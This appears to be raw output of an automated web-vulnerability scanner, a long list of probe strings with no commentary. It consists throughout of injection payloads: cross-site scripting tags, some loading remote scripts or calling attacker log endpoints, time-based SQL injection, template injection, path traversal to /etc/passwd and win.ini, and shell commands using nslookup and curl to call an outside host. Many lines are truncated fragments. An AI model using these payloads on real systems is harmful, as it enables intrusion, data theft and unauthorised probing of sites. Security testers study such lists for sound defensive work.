555<aJ9GIcl<

555<svg \xa0onload=Hh2l(9291)

bfg4829\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4829

555<img src=//xss.bxss.me/t/dot.gif onload=vaRO(9947)>

'"()&%<zzz><ScRiPt >ojgE(9892)</ScRiPt>

555<body onload=VLO2(9008)>

<%={{={@{#{${dfb}}%>

bfgx10052\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10052

555<isindex type=image src=1 onerror=Hh2l(9785)>

555<body onload=D6Ux(9145)>

555<img src=//xss.bxss.me/t/dot.gif onload=VLO2(9250)>

<%={{={@{#{${dfb}}%>

555

555<img src=xyz OnErRor=vaRO(9662)>

5559198380

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=D6Ux(9467)>

555<img src=xyz OnErRor=VLO2(9013)>

<th:t="${dfb}#foreach

555

bfg5101\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5101

555<img/src=">" onerror=alert(9715)>

555<body onload=Hh2l(9996)>

555<img src=xyz OnErRor=D6Ux(9443)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%76%61%52%4F%289325%29%3C%2F%73%43%72%69%70%54%3E

555

555<img/src=">" onerror=alert(9801)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%56%4C%4F%32%289009%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\vaRO(9114)\u003C/sCripT\u003E

<th:t="${dfb}#foreach

bfgx10508\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10508

555<img src=//xss.bxss.me/t/dot.gif onload=Hh2l(9081)>

555<img/src=">" onerror=alert(9148)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=xyz OnErRor=Hh2l(9263)>

<%={{={@{#{${dfb}}%>

555

555&lt

555\u003CScRiPt\VLO2(9564)\u003C/sCripT\u003E

%35%35%35%3C%53%63%52%69%50%74%20%3E%44%36%55%78%289360%29%3C%2F%73%43%72%69%70%54%3E

555<img/src=">" onerror=alert(9720)>

555

555\u003CScRiPt\D6Ux(9232)\u003C/sCripT\u003E

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

\xf6<img zzz onmouseover=vaRO(95321) //\xf6>

555&lt

dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%48%68%32%6C%289720%29%3C%2F%73%43%72%69%70%54%3E

555

\xf6<img zzz onmouseover=VLO2(98221) //\xf6>

<th:t="${dfb}#foreach

555<input autofocus onfocus=vaRO(9104)>

555&lt

555\u003CScRiPt\Hh2l(9768)\u003C/sCripT\u003E

555<input autofocus onfocus=VLO2(9923)>

<a HrEF=http://xss.bxss.me></a>

555

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

555&lt

dfb__${98991*97996}__::.x

<a HrEF=jaVaScRiPT:>

\xf6<img zzz onmouseover=D6Ux(93881) //\xf6>

<a HrEF=http://xss.bxss.me></a>

dfb[[${98991*97996}]]xca

\xf6<img zzz onmouseover=Hh2l(97801) //\xf6>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<input autofocus onfocus=Hh2l(9651)>

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(vaRO(9068))}

555<input autofocus onfocus=D6Ux(9718)>

dfb__${98991*97996}__::.x

555

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >DPf4(9054)</ScRiPt>

555}body{zzz:Expre/**/SSion(VLO2(9768))}

555<WV1PEY>I9PLO[!+!]</WV1PEY>

<a HrEF=http://xss.bxss.me></a>

555kfNSm <ScRiPt >vaRO(9085)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >9JfM(9873)</ScRiPt>

555<ScRiPt >tNco(9612)</ScRiPt>

555Vr945 <ScRiPt >VLO2(9573)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<script>DPf4(9643)</script>

555<WJPQPS>J57Y1[!+!]</WJPQPS>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(D6Ux(9195))}

555<WEJMOA>X3VYZ[!+!]</WEJMOA>

555<WDSFXR>VNMX8[!+!]</WDSFXR>

dfb[[${98991*97996}]]xca

'"()&%<zzz><ScRiPt >9JfM(9796)</ScRiPt>

555}body{zzz:Expre/**/SSion(Hh2l(9516))}

555

555<ifRAme sRc=9639.com></IfRamE>

555<ScR<ScRiPt>IpT>DPf4(9099)</sCr<ScRiPt>IpT>

555<ifRAme sRc=9447.com></IfRamE>

5559920847

dfb__${98991*97996}__::.x

555<ScRiPt >DPf4(9683)</ScRiPt>

555mDHM1 <ScRiPt >Hh2l(9543)</ScRiPt>

555Hrfma <ScRiPt >D6Ux(9597)</ScRiPt>

555<script>tNco(9765)</script>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ab6O4sf x=9178>

bfg8493\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8493

555<ay20Wim x=9407>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9803></ScRiPt>

555<img sRc='http://attacker-9627/log.php?

555<ScRiPt >ojgE(9055)</ScRiPt>

555<WQN0NF>NIDEB[!+!]</WQN0NF>

555<WKCVJY>YIOR4[!+!]</WKCVJY>

555<ScR<ScRiPt>IpT>tNco(9013)</sCr<ScRiPt>IpT>

555<img sRc='http://attacker-9377/log.php?

bfgx3509\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3509

555<ScRiPt >DPf4(9925)</ScRiPt>

555<ScRiPt >tNco(9809)</ScRiPt>

555<ifRAme sRc=9577.com></IfRamE>

555<ifRAme sRc=9658.com></IfRamE>

555<atta1v5<

555<azz6iTM<

555<WCE6FA>KA8LC[!+!]</WCE6FA>

555<script>ojgE(9241)</script>

1DIypbby5GO

<%={{={@{#{${dfb}}%>

555<svg \xa0onload=DPf4(9844)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9048></ScRiPt>

555<aWsMLY7 x=9243>

555<a7HiC9T x=9651>

555

555'"()&%<zzz><ScRiPt >xVhS(9686)</ScRiPt>

555<img sRc='http://attacker-9107/log.php?

555<ScR<ScRiPt>IpT>ojgE(9703)</sCr<ScRiPt>IpT>

555

555

555<ScRiPt >ojgE(9733)</ScRiPt>

555

555<isindex type=image src=1 onerror=DPf4(9138)>

555<ScRiPt >tNco(9342)</ScRiPt>

555<img sRc='http://attacker-9673/log.php?

ZDKXuiEp

'"()&%<zzz><ScRiPt >xVhS(9496)</ScRiPt>

555<svg \xa0onload=tNco(9706)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9568></ScRiPt>

555<aIP9T4h<

-1 OR 2+774-774-1=0+0+0+1 --

555<iframe src='data:text/html

-1 OR 2+611-611-1=0+0+0+1

<th:t="${dfb}#foreach

555<alHVT3O<

5559978117

-1' OR 2+790-790-1=0+0+0+1 --

555<ScRiPt >ojgE(9962)</ScRiPt>

-1' OR 2+625-625-1=0+0+0+1 or 'lTWLI2kK'='

555'"()&%<zzz><ScRiPt >FcUx(9306)</ScRiPt>

555<isindex type=image src=1 onerror=tNco(9423)>

555<body onload=DPf4(9012)>

bfg4760\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4760

'"()&%<zzz><ScRiPt >FcUx(9155)</ScRiPt>

555<svg \xa0onload=ojgE(9745)

555

-1" OR 2+994-994-1=0+0+0+1 --

bfgx8598\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8598

if(now()=sysdate(),sleep(15),0)

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=DPf4(9633)>

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555<img src=xyz OnErRor=DPf4(9917)>

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

<%={{={@{#{${dfb}}%>

5559578625

555<isindex type=image src=1 onerror=ojgE(9854)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

-1

555<body onload=tNco(9621)>

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=tNco(9083)>

bfg8820\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8820

555<img/src=">" onerror=alert(9592)>

555

-1)

1 waitfor delay '0:0:15' --

ZJQfe5W4'

dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%44%50%66%34%289560%29%3C%2F%73%43%72%69%70%54%3E

bfgx3314\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3314

<th:t="${dfb}#foreach

555<body onload=ojgE(9622)>

-5 OR 300=(SELECT 300 FROM PG_SLEEP(15))--

<%={{={@{#{${dfb}}%>

-5) OR 720=(SELECT 720 FROM PG_SLEEP(15))--

555<img src=xyz OnErRor=tNco(9209)>

555<img src=//xss.bxss.me/t/dot.gif onload=ojgE(9623)>

555

555\u003CScRiPt\DPf4(9696)\u003C/sCripT\u003E

dfb[[${98991*97996}]]xca

-1)) OR 365=(SELECT 365 FROM PG_SLEEP(15))--

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=xyz OnErRor=ojgE(9422)>

555

555<img/src=">" onerror=alert(9524)>

dfb__${98991*97996}__::.x

555&lt

2gznIqJ9' OR 713=(SELECT 713 FROM PG_SLEEP(15))--

555

555<img/src=">" onerror=alert(9081)>

<th:t="${dfb}#foreach

%35%35%35%3C%53%63%52%69%50%74%20%3E%74%4E%63%6F%289519%29%3C%2F%73%43%72%69%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

%35%35%35%3C%53%63%52%69%50%74%20%3E%6F%6A%67%45%289469%29%3C%2F%73%43%72%69%70%54%3E

dfb{{98991*97996}}xca

\xf6<img zzz onmouseover=DPf4(93531) //\xf6>

iWlaNESN') OR 323=(SELECT 323 FROM PG_SLEEP(15))--

dfb[[${98991*97996}]]xca

555

555\u003CScRiPt\tNco(9659)\u003C/sCripT\u003E

555'"()&%<zzz><ScRiPt >XJIl(9518)</ScRiPt>

555<ScRiPt >9JfM(9476)</ScRiPt>

555\u003CScRiPt\ojgE(9916)\u003C/sCripT\u003E

555&lt

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

555<input autofocus onfocus=DPf4(9420)>

rdhrEaPP')) OR 316=(SELECT 316 FROM PG_SLEEP(15))--

'"()&%<zzz><ScRiPt >XJIl(9196)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WG88WD>J5HSY[!+!]</WG88WD>

555&lt

555<ScRiPt >xVhS(9288)</ScRiPt>

\xf6<img zzz onmouseover=tNco(94621) //\xf6>

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

5559385929

\xf6<img zzz onmouseover=ojgE(94221) //\xf6>

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555<WWOH03>DJWBN[!+!]</WWOH03>

555'"()&%<zzz><ScRiPt >V8Ac(9436)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<script>9JfM(9270)</script>

555}body{zzz:Expre/**/SSion(DPf4(9499))}

555<input autofocus onfocus=ojgE(9086)>

555<input autofocus onfocus=tNco(9027)>

dfb{{98991*97996}}xca

bfg5717\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5717

1'"

1\xc0\xa7\xc0\xa2%2527%2522

555<script>xVhS(9907)</script>

555<ScR<ScRiPt>IpT>9JfM(9587)</sCr<ScRiPt>IpT>

555wAMXR <ScRiPt >DPf4(9553)</ScRiPt>

dfb[[${98991*97996}]]xca

@@rJlRl

555

555<ScRiPt >9JfM(9726)</ScRiPt>

bfgx8294\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8294

<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

'"()&%<zzz><ScRiPt >V8Ac(9182)</ScRiPt>

555<ScR<ScRiPt>IpT>xVhS(9812)</sCr<ScRiPt>IpT>

555

<a HrEF=jaVaScRiPT:>

dfb__${98991*97996}__::.x

555<W5WPOG>WZADQ[!+!]</W5WPOG>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9188></ScRiPt>

<%={{={@{#{${dfb}}%>

5559067554

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >xVhS(9658)</ScRiPt>

555

555<ScRiPt >9JfM(9138)</ScRiPt>

555<ifRAme sRc=9567.com></IfRamE>

bfg10884\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10884

555

555}body{zzz:Expre/**/SSion(tNco(9661))}

555

555}body{zzz:Expre/**/SSion(ojgE(9039))}

555<ScRiPt >FcUx(9508)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9326></ScRiPt>

555<svg \xa0onload=9JfM(9293)

555

555<augF0Mi x=9702>

555

bfgx5636\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5636

555dBvZ7 <ScRiPt >tNco(9517)</ScRiPt>

<th:t="${dfb}#foreach

5550m1iq <ScRiPt >ojgE(9920)</ScRiPt>

555<ScRiPt >xVhS(9615)</ScRiPt>

555<isindex type=image src=1 onerror=9JfM(9451)>

555

555

555<WBOTP3>SLZZZ[!+!]</WBOTP3>

555<img sRc='http://attacker-9966/log.php?

555<WJ80A4>OKUDE[!+!]</WJ80A4>

555<WCHREI>6DQDM[!+!]</WCHREI>

<%={{={@{#{${dfb}}%>

555<script>FcUx(9930)</script>

555<iframe src='data:text/html

555

555<svg \xa0onload=xVhS(9444)

555

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScR<ScRiPt>IpT>FcUx(9669)</sCr<ScRiPt>IpT>

555<ifRAme sRc=9056.com></IfRamE>

555

555<aFsDKb6<

555<ifRAme sRc=9214.com></IfRamE>

555<body onload=9JfM(9655)>

<th:t="${dfb}#foreach

555<isindex type=image src=1 onerror=xVhS(9196)>

555

555

555<a5IKu4J x=9756>

555

dfb{{98991*97996}}xca

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=9JfM(9240)>

555<a63hPU3 x=9131>

555<img sRc='http://attacker-9308/log.php?

555<ScRiPt >FcUx(9251)</ScRiPt>

dfb[[${98991*97996}]]xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<body onload=xVhS(9032)>

555<img src=xyz OnErRor=9JfM(9908)>

555<a211d05<

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9403></ScRiPt>

555<img sRc='http://attacker-9102/log.php?

555<img src=//xss.bxss.me/t/dot.gif onload=xVhS(9990)>

555<img/src=">" onerror=alert(9121)>

555

dfb__${98991*97996}__::.x

%35%35%35%3C%53%63%52%69%50%74%20%3E%39%4A%66%4D%289390%29%3C%2F%73%43%72%69%70%54%3E

echo jeaaxg$()\ vltmqa\nz^xyu||a #' &echo jeaaxg$()\ vltmqa\nz^xyu||a #|" &echo jeaaxg$()\ vltmqa\nz^xyu||a #

555<img src=xyz OnErRor=xVhS(9819)>

555<a5pjzQP<

555<ScRiPt >FcUx(9315)</ScRiPt>

response.write(9155268*9865253)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<svg \xa0onload=FcUx(9652)

'+response.write(9155268*9865253)+'

../../../../../../../../../../../../../../etc/passwd

dfb{{98991*97996}}xca

ASIxVb9x

555\u003CScRiPt\9JfM(9842)\u003C/sCripT\u003E

&echo vkezpn$()\ opydxo\nz^xyu||a #' &echo vkezpn$()\ opydxo\nz^xyu||a #|" &echo vkezpn$()\ opydxo\nz^xyu||a #

555<ScRiPt >XJIl(9775)</ScRiPt>

555 bcc:009247.1874-121436.1874.1b0a5.19886.2@bxss.me

555&lt

to@example.com> bcc:009247.1874-121437.1874.1b0a5.19886.2@bxss.me

555&echo umoqyj$()\ cbzbgz\nz^xyu||a #' &echo umoqyj$()\ cbzbgz\nz^xyu||a #|" &echo umoqyj$()\ cbzbgz\nz^xyu||a #

555<img/src=">" onerror=alert(9937)>

555

../../../../../../../../../../../../../../windows/win.ini

"+response.write(9155268*9865253)+"

555<isindex type=image src=1 onerror=FcUx(9948)>

555

file:///etc/passwd

dfb[[${98991*97996}]]xca

|echo yfuvvp$()\ xplehr\nz^xyu||a #' |echo yfuvvp$()\ xplehr\nz^xyu||a #|" |echo yfuvvp$()\ xplehr\nz^xyu||a #

555<WNCTWN>NGPN5[!+!]</WNCTWN>

555

12345'"\'\")

\xf6<img zzz onmouseover=9JfM(95861) //\xf6>

555|echo puwppi$()\ rbgixq\nz^xyu||a #' |echo puwppi$()\ rbgixq\nz^xyu||a #|" |echo puwppi$()\ rbgixq\nz^xyu||a #

%35%35%35%3C%53%63%52%69%50%74%20%3E%78%56%68%53%289966%29%3C%2F%73%43%72%69%70%54%3E

555

555

555

555<script>XJIl(9744)</script>

dfb__${98991*97996}__::.x

555<input autofocus onfocus=9JfM(9546)>

${9999998+9999546}

555<iframe src='data:text/html

555

../555

(nslookup -q=cname hitppskzqjjgn9bbe4.bxss.me||curl hitppskzqjjgn9bbe4.bxss.me))

555<esi:include src="http://bxss.me/rpb.png"/>

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555

$(nslookup -q=cname hitvdagvqfabrc6beb.bxss.me||curl hitvdagvqfabrc6beb.bxss.me)

555\u003CScRiPt\xVhS(9476)\u003C/sCripT\u003E

555<ScR<ScRiPt>IpT>XJIl(9308)</sCr<ScRiPt>IpT>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

555

)

&nslookup -q=cname hitgqfuydsnsf85409.bxss.me&'\"`0&nslookup -q=cname hitgqfuydsnsf85409.bxss.me&`'

555<body onload=FcUx(9633)>

&(nslookup -q=cname hitwpjwjqyjlc4b5f3.bxss.me||curl hitwpjwjqyjlc4b5f3.bxss.me)&'\"`0&(nslookup -q=cname hitwpjwjqyjlc4b5f3.bxss.me||curl hitwpjwjqyjlc4b5f3.bxss.me)&`'

555

555&n995862=v946177

Http://bxss.me/t/fit.txt

555

!(()&&!|*|*|

|(nslookup -q=cname hitfgeexughfja2393.bxss.me||curl hitfgeexughfja2393.bxss.me)

555

555<ScRiPt >V8Ac(9868)</ScRiPt>

555&lt

555

http://bxss.me/t/fit.txt?.jpg

555

555<ScRiPt >XJIl(9381)</ScRiPt>

<a HrEF=jaVaScRiPT:>

^(#$!@#$)(()))******

555<img src=//xss.bxss.me/t/dot.gif onload=FcUx(9494)>

`(nslookup -q=cname hitllsuwtcccl1de7c.bxss.me||curl hitllsuwtcccl1de7c.bxss.me)`

555

555

\xf6<img zzz onmouseover=xVhS(90961) //\xf6>

/etc/shells

555}body{zzz:Expre/**/SSion(9JfM(9581))}

c:/windows/win.ini

555<WFFBTL>MZPKM[!+!]</WFFBTL>

555

'.gethostbyname(lc('hitgv'.'wfnvdiri0da9f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(73).chr(110).chr(78).'

555

555<img src=xyz OnErRor=FcUx(9813)>

".gethostbyname(lc("hithx"."juncjczma4e8d.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(84).chr(110).chr(78)."

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9397></ScRiPt>

bxss.me

555

555

'

555<input autofocus onfocus=xVhS(9852)>

555<img/src=">" onerror=alert(9208)>

555

555

"

555sKPWO <ScRiPt >9JfM(9896)</ScRiPt>

555<script>V8Ac(9786)</script>

555

555

555

555

${@print(md5(31337))}

555<ScRiPt >XJIl(9008)</ScRiPt>

HttP://bxss.me/t/xss.html?%00

555<ScR<ScRiPt>IpT>V8Ac(9825)</sCr<ScRiPt>IpT>

555

"+"A".concat(70-3).concat(22*4).concat(100).concat(83).concat(113).concat(69)+(require"socket" Socket.gethostbyname("hitce"+"dbbdcwiy066a7.bxss.me.")[3].to_s)+"

555

<a HrEF=http://xss.bxss.me></a>

%35%35%35%3C%53%63%52%69%50%74%20%3E%46%63%55%78%289182%29%3C%2F%73%43%72%69%70%54%3E

comments

${@print(md5(31337))}\

555

555<ScRiPt >V8Ac(9581)</ScRiPt>

'"()

555<WCAOTA>2LTAB[!+!]</WCAOTA>

555<svg \xa0onload=XJIl(9694)

'+'A'.concat(70-3).concat(22*4).concat(101).concat(75).concat(118).concat(89)+(require'socket' Socket.gethostbyname('hitmr'+'abktdyrn43249.bxss.me.')[3].to_s)+'

555

comments

'.print(md5(31337)).'

555

bxss.me/t/xss.html?%00

comments/.

555'&&sleep(27*1000)*xubsic&&'

555

555

<a HrEF=jaVaScRiPT:>

555\u003CScRiPt\FcUx(9408)\u003C/sCripT\u003E

555

555

555<ifRAme sRc=9982.com></IfRamE>

555

555

555"&&sleep(27*1000)*pyjnla&&"

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9030></ScRiPt>

555<isindex type=image src=1 onerror=XJIl(9308)>

555

555

555

555

555

555'||sleep(27*1000)*htwaaz||'

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

'"

555

555<awnzfeb x=9447>

xfs.bxss.me

555}body{zzz:Expre/**/SSion(xVhS(9467))}

555&lt

555

555

555"||sleep(27*1000)*qkxjcc||"

555

<!--

555

555'"()&%<zzz><ScRiPt >8JP8(9415)</ScRiPt>

555<ScRiPt >V8Ac(9871)</ScRiPt>

555<iframe src='data:text/html

555

555

555'"()&%<zzz><ScRiPt >R8wz(9817)</ScRiPt>

555

555

555

555<body onload=XJIl(9924)>

555n8HwY <ScRiPt >xVhS(9992)</ScRiPt>

555<img sRc='http://attacker-9101/log.php?

\xf6<img zzz onmouseover=FcUx(98081) //\xf6>

555

'"()&%<zzz><ScRiPt >R8wz(9675)</ScRiPt>

555

555

555

'"()&%<zzz><ScRiPt >8JP8(9698)</ScRiPt>

555<WEJR52>CGDZH[!+!]</WEJR52>

555<svg \xa0onload=V8Ac(9041)

555

5559544754

555

555

5559870072

555<isindex type=image src=1 onerror=V8Ac(9096)>

555<almoDpv<

555<img src=//xss.bxss.me/t/dot.gif onload=XJIl(9661)>

555<input autofocus onfocus=FcUx(9927)>

555

555

555

555<ifRAme sRc=9068.com></IfRamE>

555

555

bfg5992\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5992

555<img src=xyz OnErRor=XJIl(9837)>

<a HrEF=http://xss.bxss.me></a>

555

555

555<a3djvDh x=9141>

555<img/src=">" onerror=alert(9061)>

555<body onload=V8Ac(9325)>

555

bfgx4568\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4568

555'"()&%<zzz><ScRiPt >5Pes(9517)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%58%4A%49%6C%289300%29%3C%2F%73%43%72%69%70%54%3E

<a HrEF=jaVaScRiPT:>

555

555<img sRc='http://attacker-9544/log.php?

555

555<img src=//xss.bxss.me/t/dot.gif onload=V8Ac(9981)>

555\u003CScRiPt\XJIl(9316)\u003C/sCripT\u003E

555'"()&%<zzz><ScRiPt >MeHS(9445)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<img src=xyz OnErRor=V8Ac(9346)>

555'"()&%<zzz><ScRiPt >b8Td(9261)</ScRiPt>

555<a7696aO<

555<img/src=">" onerror=alert(9737)>

555&lt

'"()&%<zzz><ScRiPt >5Pes(9165)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%56%38%41%63%289654%29%3C%2F%73%43%72%69%70%54%3E

5559097762

\xf6<img zzz onmouseover=XJIl(92091) //\xf6>

555

555<input autofocus onfocus=XJIl(9470)>

<th:t="${dfb}#foreach

bfg5294\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5294

555

bfgx10857\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10857

555BYlOi <ScRiPt >FcUx(9359)</ScRiPt>

<%={{={@{#{${dfb}}%>

555

<th:t="${dfb}#foreach

'"()&%<zzz><ScRiPt >MeHS(9945)</ScRiPt>

555<WXPXH1>KFOYX[!+!]</WXPXH1>

555

'"()&%<zzz><ScRiPt >b8Td(9151)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555'"()&%<zzz><ScRiPt >fK7k(9878)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555\u003CScRiPt\V8Ac(9038)\u003C/sCripT\u003E

5559893976

555<ifRAme sRc=9863.com></IfRamE>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

5559871429

555'"()&%<zzz><ScRiPt >l0CJ(9086)</ScRiPt>

555

'"()&%<zzz><ScRiPt >fK7k(9797)</ScRiPt>

555}body{zzz:Expre/**/SSion(XJIl(9340))}

555&lt

bfg6094\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6094

555<amFUQTq x=9993>

dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >Aagb(9127)</ScRiPt>

bfg2628\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2628

'"()&%<zzz><ScRiPt >l0CJ(9017)</ScRiPt>

dfb{{98991*97996}}xca

5559379545

555O4Hvi <ScRiPt >XJIl(9871)</ScRiPt>

\xf6<img zzz onmouseover=V8Ac(91571) //\xf6>

bfgx3670\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3670

555<img sRc='http://attacker-9382/log.php?

dfb[[${98991*97996}]]xca

'"()&%<zzz><ScRiPt >Aagb(9391)</ScRiPt>

bfgx4749\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4749

dfb[[${98991*97996}]]xca

5559241392

bfg8415\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8415

555<WMWQ8B>GKOGK[!+!]</WMWQ8B>

555<input autofocus onfocus=V8Ac(9488)>

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

555<aUKyCeS<

5559315524

bfgx7744\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7744

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

555<ifRAme sRc=9134.com></IfRamE>

bfg1816\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1816

555

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >5Pes(9566)</ScRiPt>

<%={{={@{#{${dfb}}%>

bfg9751\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9751

bfgx2214\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2214

555<WM4WGQ>FVO3T[!+!]</WM4WGQ>

555<ScRiPt >8JP8(9442)</ScRiPt>

<th:t="${dfb}#foreach

<a HrEF=jaVaScRiPT:>

555<a7bDpeY x=9714>

<th:t="${dfb}#foreach

555

555'"()&%<zzz><ScRiPt >FDeJ(9674)</ScRiPt>

bfgx10220\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10220

555}body{zzz:Expre/**/SSion(V8Ac(9635))}

555<WXM9GX>IIMOQ[!+!]</WXM9GX>

555'"()&%<zzz><ScRiPt >XjfN(9662)</ScRiPt>

<%={{={@{#{${dfb}}%>

555

<%={{={@{#{${dfb}}%>

555

555<img sRc='http://attacker-9507/log.php?

555<script>8JP8(9964)</script>

<th:t="${dfb}#foreach

'"()&%<zzz><ScRiPt >FDeJ(9931)</ScRiPt>

555<script>5Pes(9624)</script>

555

555EsCjF <ScRiPt >V8Ac(9260)</ScRiPt>

'"()&%<zzz><ScRiPt >XjfN(9158)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ajSbZoU<

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

<th:t="${dfb}#foreach

555<ScR<ScRiPt>IpT>5Pes(9652)</sCr<ScRiPt>IpT>

555

555<WRWYB1>DP9Y5[!+!]</WRWYB1>

555<ScR<ScRiPt>IpT>8JP8(9385)</sCr<ScRiPt>IpT>

5559360335

555

555<ifRAme sRc=9051.com></IfRamE>

555<ScRiPt >5Pes(9116)</ScRiPt>

<th:t="${dfb}#foreach

5559051287

555

555

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >8JP8(9790)</ScRiPt>

bfg6131\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6131

"}}dfb{{98991*97996}}xca

555

dfb{{98991*97996}}xca

555<aHEGBbo x=9627>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9221></ScRiPt>

bfg6281\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6281

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

bfgx9855\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9855

555<img sRc='http://attacker-9489/log.php?

dfb[[${98991*97996}]]xca

"%}dfb{{98991*97996}}xca

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9677></ScRiPt>

